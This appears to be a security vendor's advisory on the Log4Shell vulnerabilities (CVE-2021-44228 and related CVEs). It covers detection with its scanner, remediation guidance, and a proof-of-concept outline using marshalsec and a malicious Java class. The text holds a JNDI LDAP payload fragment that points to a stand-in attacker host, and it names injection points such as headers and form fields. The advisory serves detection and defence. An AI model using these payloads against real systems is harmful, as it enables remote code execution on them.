10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
On December 09, 2021, a critical remote code execution vulnerability was identified in Apache Log4j2 after proof-of-concepts were leaked publicly, affecting Apache Log4j 2.x <= 2.15.0-rc1. The vulnerability is being tracked as CVE-2021-44228 with CVSSv3 10 score and affects numerous applications which are using the Log4j2 library.
Successful exploitation of this vulnerability could allow a remote attacker to download and execute arbitrary code on the target system. With the vulnerability being actively exploited in the wild, considering the gravity of the situation, Qualys Web Application Scanning has released QID 150440,150441which sends specially crafted requests to the target server to detect vulnerable web application instances using the Log4j2 library. Once successfully detected, users can remediate the vulnerability by upgrading toApache Log4j 2.17.1.
On December 14, 2021, CVE-2021-45046 was published to address the deficiencies in CVE-2021-44228. Later it was also identified that under non-default configuration Apache Log4j 2.15.0 could allow an attacker to exfiltrate data and achieve remote code execution (RCE). Qualys WAS team is working on improvements to our detections.
On December 27, 2021, Log4j 2.17.1 was released to patch a new arbitrary code execution vulnerability discovered in version 2.17.0. The vulnerability is tracked as CVE-2021-44832 and affects versions 2.0-alpha7 to 2.17.0 excluding security fix releases 2.3.2 and 2.12.4.
Apache Log4j is an extremely popular java library used by application developers to log data, this logging functionality helps with debugging issues and security incidents. The logged untrusted data could be errors such as exception traces, authentication failures, and other unpredicted vectors of user input. If the data contains a certain payload, the JNDI lookup method triggers and executes arbitrary code from attacker-controlled servers leading to Remote Code Execution Vulnerability.
In Log4j2 the lookups functionality gives the user the ability to add values to the configuration at arbitrary places with ease of maintaining the format. There are multiple lookup methods such as Map Lookup, Environment Lookup, Context Map Lookup, etc.
The vulnerability was introduced in Log4j2 version 2.0-beta9 when the “JNDILookup plugin” was added as part of lookup methods to the library. As per official documentation:
"The JndiLookup allows variables to be retrieved via JNDI. By default, the key will be prefixed with java:comp/env/, however, if the key contains a ":" no prefix will be added."
JNDI which stands for “Java Naming and Directory Interface” is a Java API which allows Java applications to perform look-ups and retrieve Java objects using protocols such as LDAP, RMI, DNS, etc. This JNDI lookup allows a developer to retrieve DataSource objects and enhance the data which is being logged by the log4j library.
On vulnerable instances of Log4j2, any data that is being logged can trigger the application to reach out to attacker-controlled servers.
As the attack vectors are not limited to specific injection points, attackers can test the vulnerability by injecting malicious JNDI lookup payloads inside HTTP request headers or via POST request form fields such as username, email, password, etc. to test this vulnerability using:
Where vulnerable instances will parse the above payload and reach out to malicious LDAP server attacker.com via JNDI lookup method to execute the rce_class
.
It is safe to say that the vulnerability is present in the environment due to an improper input validation vulnerability. On any new log entry if log4j encounters a JNDI lookup string starting with ${jndi:protocol://
, it will try to parse it and thereafter perform the lookup action to resolve the required variable and eventually fetch and execute the malicious rce_class
.
Qualys WAS team was able to exploit the vulnerability successfully on a vulnerable instance of Log4j, below is the POC to demonstrate how attackers are exploiting this vulnerability in the real world:
First, the attacker injects the JNDI payload into the vulnerable application, once the input is logged by log4j, it will parse the text and try to resolve it.
The above payload supplied by the attacker is using LDAP protocol. The log4j library on encountering this string will make a LDAP query to the target LDAP server running on 127.0.0.1:1389
Next, the attacker uses marshalsec package to setup a LDAP referrer that accepts incoming JNDI lookup request and creates a redirection to an HTTP server hosting the malicious class (Exploit.class) as show below:
Here, an HTTP server is hosting a malicious Java class which will execute a command to open a calculator application on the target server.
Finally, the malicious class is download and executed leading to remote code execution.
Customers can detect Apache Log4j Remote Code Execution vulnerability (CVE-2021-44228) with Qualys Web Application Scanning using QID 150440,150441:
QID 150440 - Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)
The WAS module injects JNDI payload into the headers listed below, application specific vulnerable endpoints and uses Out Of Band (OOB) detection mechanism where vulnerable instances will make a callback DNS query that will trigger Qualys Periscope detection mechanism :
Vulnerable Applications detection covered under QID 150440:
Qualys WAS OOB service uses unique DNS payload on every request which makes the detection mechanism accurate in identifying the vulnerability.
When WAS tests a web application for the Log4Shell vulnerability, the following steps are performed:
QID 150440 has been added to the WAS Core Detection Scope, so all scans using the Core detection will include this QID in scanning. However, to expedite testing for CVE-2021-44228 across all of your web applications, it is recommended that you create a new scanning Option Profile to limit testing to only this specific vulnerability. This can be done by creating a new Option Profile and selecting “Custom Search Lists” under the Detection Scope to create a new static list.
Complete the creation wizard and add QID 150440 to the Static Search List.
Optionally you can add Information Gathered (IG) QIDs for confirmation of links crawled, scan diagnostics, etc. IG QIDs will not significantly impact the efficiency of the scan.
IG QIDs: 6 ,38116 ,38291 ,38597 ,38600 ,38609 ,38704 ,38706 ,38717 ,38718 ,42350 ,45017 ,45038 ,45218 ,86002 ,90195 ,150005 ,150006 ,150007 ,150008 ,150009 ,150010 ,150014 ,150015 ,150016 ,150017 ,150018 ,150019 ,150020 ,150021 ,150024 ,150025 ,150026 ,150028 ,150029 ,150030 ,150032 ,150033 ,150034 ,150035 ,150036 ,150037 ,150038 ,150039 ,150040 ,150041 ,150042 ,150043 ,150044 ,150045 ,150054 ,150058 ,150061 ,150065 ,150066 ,150067 ,150077 ,150078 ,150080 ,150082 ,150083 ,150086 ,150087 ,150089 ,150094 ,150095 ,150097 ,150099 ,150100 ,150101 ,150104 ,150105 ,150106 ,150111 ,150115 ,150116 ,150125 ,150126 ,150135 ,150140 ,150141 ,150142 ,150143 ,150148 ,150152 ,150157 ,150164 ,150167 ,150168 ,150169 ,150170 ,150172 ,150176 ,150177 ,150182 ,150183 ,150184 ,150185 ,150186 ,150194 ,150195 ,150197 ,150202 ,150203 ,150204 ,150205 ,150206 ,150208 ,150210 ,150244 ,150245 ,150247 ,150257 ,150261 ,150262 ,150265 ,150277 ,150291 ,150292 ,150308 ,150325 ,150344 ,150345 ,150348 ,150350 ,150351 ,150352
We recommend limiting the scan to between 50 and 100 links in scope maximum.
Additionally, configure the scan to be launched at "Maximum" Performance for faster scan completion.
Scanning with the above mentioned scan configurations will achieve two things to expedite testing your web applications in the most efficient way possible. First, we are only testing for one specific vulnerability, QID 150440. Second, as this vulnerability is only tested at the base URI and several directories up and down as appropriate, there is no need to crawl and test every link in the application. These two changes will allow each web application to be scanned faster than full Core detection scans while still providing you the necessary visibility of any vulnerable versions of Log4j2.
Once the vulnerability is successfully detected, users shall see similar kind of results for QID 150440 in the vulnerability scan report:
As you can see in the above report, the payload is injected inside User-Agent request header and makes a DNS lookup request to the Qualys Periscope detection mechanism.
Qualys WAS has released QID 150441 - Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228), which injects JNDI payloads into every user input form field ex. (username, email, password) which makes it more reliable and efficient detection in comparison to open source scanning scripts written in Python and Golang which have limited scanning capability.
After injecting JNDI payloads into every form field, the vulnerable application makes a DNS lookup request to Qualys Periscope mechanism:
QID 150441 - Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)
On successful detection, users shall see similar results in vulnerability scan report:
In the above report we can see, specially crafted payload was sent via HTTP POST request to uname parameter of the application login form, which then makes a DNS lookup request to the Qualys Periscope detection mechanism.
Apache Log4j 2.15.0 was released to address CVE-2021-44228 but it turned out that the fix was incomplete in certain non-default configuration setup. In CVE-2021-45046, security measures were added to version 2.15.0 to prevent remote code execution by restricting JNDI LDAP lookups to localhost by default, i.e., a remote connection to attacker.com
will be blocked in ${jndi:ldap://attacker.com
payload.
According to Apache Security advisory when the logging configuration uses non-default pattern layout with a Context Lookup value ex. $${ctx:loginId-value}
, attackers with control over Thread Context Map (Mapped Diagnostic Context or MDC) input data can craft malicious input data using a JNDI Lookup pattern which would allow data exfiltration and remote code execution in certain scenarios.
The arbitrary code execution vulnerability discovered in version 2.17.0 affects Log4j2 instances when an attacker with permission to modify the logging configuration can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.
The Qualys WAS research team is constantly working to find more attack vectors and will update the signatures accordingly. We are also working on detecting the vulnerability affecting applications using Log4j logging utility and will update new QIDs as needed.
It is strongly recommended to upgrade to the latest Apache Log4j 2.17.1 to remediate these vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832). According to Apache Security Advisory version 2.17.1 also remediates DoS vulnerability (CVE-2021-45105) which was present in version 2.16.0.
Release details Apache Log4j 2.17.1 : https://logging.apache.org/log4j/2.x/changes-report.html#a2.17.1
In cases where upgrading the version is not possible, we recommend applying the following mitigation guidelines:
For latest updates on solution and mitigation guidelines, please refer to Apache Log4j security advisory
Apache Security Advisory: <https://logging.apache.org/log4j/2.x/security.html>
CVE Details:
Credits for the vulnerability discovery go to:
Please contact John Delaroderie if you need further information.
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C